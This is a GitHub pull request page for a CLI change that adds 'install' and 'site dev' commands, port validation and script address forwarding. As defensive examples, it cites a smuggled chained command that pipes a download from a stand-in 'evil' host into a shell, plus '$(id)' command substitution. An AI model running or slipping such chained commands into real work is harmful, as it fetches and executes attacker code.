Skip to content

feat(cli): install and serve a site through the CLI - #635

Open
ronnyrin wants to merge 10 commits into
mainfrom
feat/site-install-and-serve
Open

ronnyrin wants to merge 10 commits into
mainfrom
feat/site-install-and-serve

Conversation

@ronnyrin

@ronnyrin ronnyrin commented Sep 22, 2026

Copy link
Copy Markdown
Contributor

Note

Description

Adds the two pieces a hosted build sandbox needs to run a Base44 frontend without a developer machine: base44 install, which runs only the site's installCommand, and base44 site dev, which runs the site's serveCommand with no local backend, optionally pointed at a backend the caller names via --backend-url. base44 build also drops its login requirement, since it resolves the app id locally and runs a local build. Both new commands are local-only — no login, and for install no app id either.

Related Issue

None

Type of Change

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Documentation update
  • Refactoring (no functional changes)
  • Other (please describe):

Changes Made

  • base44 install (cli/commands/project/install.ts): runs the site's installCommand (defaults to npm install inside a site block) and nothing else; registered in program.ts with requireAuth: false and requireAppContext: false. Fails with an actionable hint when the project has no site block.
  • base44 site dev (cli/commands/site/dev.ts): serves the frontend only, with --backend-url, --host and --port. Falls back to npm run dev when the site block names no serveCommand, since serving is the command's whole job. Omitting --backend-url injects nothing, so a same-origin frontend keeps reaching its backend on its own origin.
  • --port validation: rejects "", "0", "0x10", "1e3", "-1", "70000" and friends rather than letting Number() turn them into a silent random port.
  • Address forwarding (core/site/serve-command.ts): new withServeAddress() appends the bind address through npm run / pnpm / yarn / bun run scripts with the right separator. A serveCommand that cannot take forwarded arguments is refused instead of being served on a different address with exit 0. The runner patterns use restricted charsets so a chained command (dev; curl evil | sh) is not treated as argument-forwarding.
  • site.devHostFlag (core/project/schema.ts): optional config for how a project's dev server spells its bind flag — --hostname for Next, which exits on --host. Read only when an address is requested, so it is deliberately not a schema default. The port flag stays non-configurable, since every dev server spells it --port.
  • base44 build no longer requires auth (requireAuth: false); the app id comes from --app-id, BASE44_APP_ID or .app.jsonc.
  • Refactor: stopRunnerOnProcessSignals() extracted from commands/dev.ts into cli/dev/stop-runner-on-signals.ts and shared with site dev; ServeCommandRunnerOptions.appBaseUrl is now optional and only sets VITE_BASE44_APP_BASE_URL when present.
  • CHANGELOG entries for all of the above.

Testing

  • I have tested these changes locally
  • I have added/updated tests as needed
  • All tests pass (npm test)

New coverage: tests/cli/install.spec.ts (configured command, no-login, failing install, missing site block), tests/cli/site_dev.spec.ts (backend injection, address binding, refused address, a --port rejection table, no-login, custom host flag, no-backend case, missing site block), tests/core/serve-command.spec.ts (withServeAddress unit tests), a no-login case in tests/cli/build.spec.ts, plus four new fixtures (with-installable-site, with-failing-install, with-npm-serve-command, with-hostname-serve-command). The suites were not executed while generating this description, so CI is the authority on the run.

Checklist

  • My code follows the project's style guidelines
  • I have performed a self-review of my own code
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation (if applicable)
  • My changes generate no new warnings
  • I have updated docs/ (AGENTS.md) if I made architectural changes

Additional Notes

Command split: base44 dev stays the developer-machine path (local backend, or the published app with --remote); base44 site dev is the frontend-only path a hosted sandbox needs. Documentation lives in the CHANGELOG and --help text — no docs/ topic guide changed, since the core/cli layering is unchanged.


🤖 Generated by Claude | 2026-09-22 13:54 UTC | 9acfc73

@github-actions

github-actions Bot commented Sep 22, 2026

Copy link
Copy Markdown
Contributor

🚀 Package Preview Available!


Install this PR's preview build with npm:

npm i @base44-preview/cli@0.1.16-pr.635.9acfc73

Prefer not to change any import paths? Install using npm alias so your code still imports base44:

npm i "base44@npm:@base44-preview/cli@0.1.16-pr.635.9acfc73"

Or add it to your package.json dependencies:

{
  "dependencies": {
    "base44": "npm:@base44-preview/cli@0.1.16-pr.635.9acfc73"
  }
}

Preview published to npm registry — try new features instantly!

A `site` block had to spell out every command, and the platform that runs
these projects kept its own copy of the same values to fill the gaps.
Defaults live here now, matching what `base44 create` scaffolds: install
`npm install`, build `npm run build`, output `./dist`. A block only names
what its project does differently.

`serveCommand` is deliberately left undefaulted: `base44 dev` reads its
absence as "no frontend to run here" and runs the backend alone, and a
default would spawn a dev server for every site block — one that fails
immediately takes the backend down with it. Commands that exist only to
serve a frontend default it themselves.

`site` itself stays optional, so "is there a site?" still keys on the
block: a backend-only project omits it and has no site. Inside a block the
build fields always resolve, which moves two refusals from "this field is
missing" to "there is no site block" — `base44 build` and `site deploy`
reword their hints, and `deploy` reads the block rather than one field.

Projects that declared a partial block change behaviour: they now build
and deploy on the defaults instead of being refused.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
@ronnyrin
ronnyrin force-pushed the feat/site-config-defaults branch from 6ab4533 to 93d2ceb Compare September 22, 2026 09:34
@ronnyrin
ronnyrin force-pushed the feat/site-install-and-serve branch 2 times, most recently from 623cd2c to 075f1f7 Compare September 22, 2026 09:41
`installCommand` and `serveCommand` were fields no command would run on
their own: install only happened inside `create`, `scaffold` and `eject`,
and serve only inside `base44 dev`, which also boots a local backend on
4400 and points the frontend at it. A host that already has a backend and
just needs this project installed and served had to compose npm itself.

`base44 install` runs `installCommand` and nothing else — local only, so a
machine that has never logged in can use it. `base44 site dev` runs
`serveCommand` against a backend the caller names, and since serving is
its whole job it falls back to `npm run dev` where the schema deliberately
does not. `--host`/`--port` are appended through the project's new
`devHostFlag` (`--host`, or Next's `--hostname`). Only an `npm run`
invocation can take them — `--` is what forwards arguments, and a bare
`vite` would read it as its own — so anything else passes through
untouched and says so rather than silently serving an unreachable address.

`base44 dev` and `dev --remote` are unchanged; the signal handling they
had is now shared rather than copied.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
@ronnyrin
ronnyrin force-pushed the feat/site-install-and-serve branch from 075f1f7 to de2f19d Compare September 22, 2026 09:43
ronnyrin and others added 3 commits September 22, 2026 13:10
Review found that defaulting `outputDirectory` turns a field whose absence
means "nothing built to upload" into one that always resolves, and two callers
act on that:

`deployAll` still keyed the upload on the field, so `base44 deploy` on a
`"site": {"serveCommand": ...}` project (the shape of this repo's own
with-serve-command fixture) would resolve `./dist` and either fail a
previously-green deploy after pushing every other resource, or publish whatever
happened to sit in `./dist` — a backend bundle, typically — as the app's site.

`eject`'s guard `installCommand && buildCommand` became dead, so `eject --yes`
would run a network install, a build and a deploy for any ejected app with a
site block, unprompted.

So `outputDirectory` joins `serveCommand` as deliberately undefaulted, which is
the same rule applied consistently: only the two commands whose absence means
nothing default. `hasResourcesToDeploy` needs no change and drops out of the
diff; eject now keys on `outputDirectory` like every other caller. Added the
deploy test that would have caught the first one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
…feat/site-install-and-serve

# Conflicts:
#	packages/cli/src/core/project/schema.ts
Review found that defaulting `outputDirectory` turns a field whose absence
means "nothing built to upload" into one that always resolves, and two callers
act on that:

`deployAll` still keyed the upload on the field, so `base44 deploy` on a
`"site": {"serveCommand": ...}` project (the shape of this repo's own
with-serve-command fixture) would resolve `./dist` and either fail a
previously-green deploy after pushing every other resource, or publish whatever
happened to sit in `./dist` — a backend bundle, typically — as the app's site.

`eject`'s guard `installCommand && buildCommand` became dead, so `eject --yes`
would run a network install, a build and a deploy for any ejected app with a
site block, unprompted.

So `outputDirectory` joins `serveCommand` as deliberately undefaulted, which is
the same rule applied consistently: only the two commands whose absence means
nothing default. `hasResourcesToDeploy` needs no change and drops out of the
diff; eject now keys on `outputDirectory` like every other caller. Added the
deploy test that would have caught the first one.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
@ronnyrin
ronnyrin force-pushed the feat/site-config-defaults branch from 8d9279d to 9c57bb8 Compare September 22, 2026 10:13
ronnyrin and others added 4 commits September 22, 2026 13:27
Review findings on this PR, plus the merge of #634's outputDirectory change.

`--host`/`--port` were composed only onto an `npm run` invocation and otherwise
warned and continued with exit 0. For this command's audience — a hosted sandbox
— a warning in a stream nobody reads is not a signal: the dev server comes up on
whatever address it likes and the CLI reports success. An address that cannot be
delivered is now a refusal. `pnpm`, `yarn` and `bun run` join the forwarding
shapes, since all three pass trailing arguments to a script and dropping the
address for them was the common case.

`withServeAddress` returns whether it dropped the address, so the caller cannot
mistake "no address to append" for "the address went nowhere" — the difference
being a preview that never loads. That removes the second evaluation of the same
regex at the call site, and the predicate it needed.

The script token was `\S+`, which matches `dev;evil` and `$(id)`: the predicate
answered "this forwards arguments" for a line whose second command is what
received them. It is a charset now. The composition also used the untrimmed
string while the test used the trimmed one.

`--port` went through `Number()`, so an empty string became port 0 — a random
port, silently — and `0x10`, `1e3` and `5173.0` were all accepted. It is parsed
in a Commander argParser now, digits only and in range.

`devHostFlag` does not default in the schema, for the same reason `serveCommand`
and `outputDirectory` do not: `site dev` is the only reader, and a default
permanently erases the difference between a project that wrote `--host` and one
that wrote nothing. `site dev` supplies the fallback.

Also: knip was failing on an unused exported type, invisible because none of the
five code-checking workflows run on a PR that targets another branch. Tests
added for the unauthenticated path on both new commands, `--port` rejection, a
failing install command and a custom `devHostFlag`; one assertion that could
never fail is gone, and the fixture no longer claims the schema defaults
`serveCommand`.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
…feat/site-install-and-serve

# Conflicts:
#	packages/cli/src/cli/commands/project/eject.ts
#	packages/cli/src/core/project/schema.ts
#	packages/cli/tests/core/project.spec.ts
Both commands default inside a `site` block, so install and build always work
there now — the earlier `outputDirectory` check was guarding a config neither
writer produces. `ensure_cli_configs` and `eject_service` both emit the full
block including `outputDirectory: "./dist"`, and the eject ZIP comes from the
latter, so the check could never be the condition that differed.

Having a site block is the whole question: a backend-only project has nothing
to build.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
Base automatically changed from feat/site-config-defaults to main September 22, 2026 13:50
…-serve

# Conflicts:
#	packages/cli/src/core/project/schema.ts
#	packages/cli/tests/cli/build.spec.ts
#	packages/cli/tests/core/project.spec.ts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant